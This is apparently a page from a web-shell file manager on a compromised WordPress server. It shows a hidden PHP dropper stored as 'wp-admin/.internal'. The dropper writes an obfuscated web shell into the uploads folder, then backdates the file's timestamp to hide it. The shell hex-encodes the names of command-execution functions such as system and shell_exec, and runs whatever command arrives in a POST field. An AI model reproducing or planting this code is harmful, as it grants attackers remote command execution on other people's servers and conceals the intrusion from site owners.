HEX
Server: Apache/2
System: Linux aws3 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User: hucscom (1018)
PHP: 8.1.32
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/hucscom/domains/huc99-s.com/private_html/wp-admin/.internal
<?php   $p = "/home/hucscom/domains/huc99-s.com/private_html/wp-content/uploads/2025/05/wic.php"; $c = rawurldecode('%3C%3Fphp%0A%0A%0A%24rec1%20%3D%20%2773%27%3B%0A%24rec2%20%3D%20%2765%27%3B%0A%24rec3%20%3D%20%276d%27%3B%0A%24rec4%20%3D%20%2768%27%3B%0A%24rec5%20%3D%20%2763%27%3B%0A%24rec6%20%3D%20%2761%27%3B%0A%24rec7%20%3D%20%2775%27%3B%0A%24rec8%20%3D%20%2770%27%3B%0A%24rec9%20%3D%20%276e%27%3B%0A%24rec10%20%3D%20%2772%27%3B%0A%24rec11%20%3D%20%275f%27%3B%0A%24rec12%20%3D%20%2767%27%3B%0A%24rec13%20%3D%20%276f%27%3B%0A%24rec14%20%3D%20%276c%27%3B%0A%24reverse_searcher1%20%3D%20pack%28%22H%2A%22%2C%20%2773%27.%2779%27.%24rec1.%2774%27.%24rec2.%24rec3%29%3B%0A%24reverse_searcher2%20%3D%20pack%28%22H%2A%22%2C%20%24rec1.%24rec4.%2765%27.%276c%27.%276c%27.%275f%27.%2765%27.%2778%27.%2765%27.%2763%27%29%3B%0A%24reverse_searcher3%20%3D%20pack%28%22H%2A%22%2C%20%2765%27.%2778%27.%24rec2.%24rec5%29%3B%0A%24reverse_searcher4%20%3D%20pack%28%22H%2A%22%2C%20%2770%27.%24rec6.%2773%27.%24rec1.%2774%27.%2768%27.%2772%27.%24rec7%29%3B%0A%24reverse_searcher5%20%3D%20pack%28%22H%2A%22%2C%20%24rec8.%276f%27.%24rec8.%2765%27.%24rec9%29%3B%0A%24reverse_searcher6%20%3D%20pack%28%22H%2A%22%2C%20%2773%27.%2774%27.%24rec10.%2765%27.%24rec6.%276d%27.%24rec11.%24rec12.%2765%27.%2774%27.%24rec11.%2763%27.%24rec13.%276e%27.%2774%27.%24rec2.%24rec9.%2774%27.%24rec1%29%3B%0A%24reverse_searcher7%20%3D%20pack%28%22H%2A%22%2C%20%24rec8.%2763%27.%24rec14.%24rec13.%2773%27.%24rec2%29%3B%0A%24module_controller%20%3D%20pack%28%22H%2A%22%2C%20%24rec3.%276f%27.%2764%27.%2775%27.%24rec14.%2765%27.%275f%27.%2763%27.%24rec13.%24rec9.%2774%27.%24rec10.%276f%27.%276c%27.%276c%27.%2765%27.%2772%27%29%3B%0Aif%20%28isset%28%24_POST%5B%24module_controller%5D%29%29%20%7B%0A%20%20%20%20%24module_controller%20%3D%20pack%28%22H%2A%22%2C%20%24_POST%5B%24module_controller%5D%29%3B%0A%20%20%20%20if%20%28function_exists%28%24reverse_searcher1%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24reverse_searcher1%28%24module_controller%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_searcher2%29%29%20%7B%0A%20%20%20%20%20%20%20%20print%20%24reverse_searcher2%28%24module_controller%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_searcher3%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24reverse_searcher3%28%24module_controller%2C%20%24fac_res%29%3B%0A%20%20%20%20%20%20%20%20print%20join%28%22%5Cn%22%2C%20%24fac_res%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_searcher4%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24reverse_searcher4%28%24module_controller%29%3B%0A%20%20%20%20%7D%20elseif%20%28function_exists%28%24reverse_searcher5%29%20%26%26%20function_exists%28%24reverse_searcher6%29%20%26%26%20function_exists%28%24reverse_searcher7%29%29%20%7B%0A%20%20%20%20%20%20%20%20%24marker_descriptor%20%3D%20%24reverse_searcher5%28%24module_controller%2C%20%27r%27%29%3B%0A%20%20%20%20%20%20%20%20if%20%28%24marker_descriptor%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr_symbol%20%3D%20%24reverse_searcher6%28%24marker_descriptor%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24reverse_searcher7%28%24marker_descriptor%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20print%20%24ptr_symbol%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%20%20%20exit%3B%0A%7D%0A'); if (file_put_contents($p, $c)) {     echo '!success!';     @touch($p, 1748677041); } die('!ended!');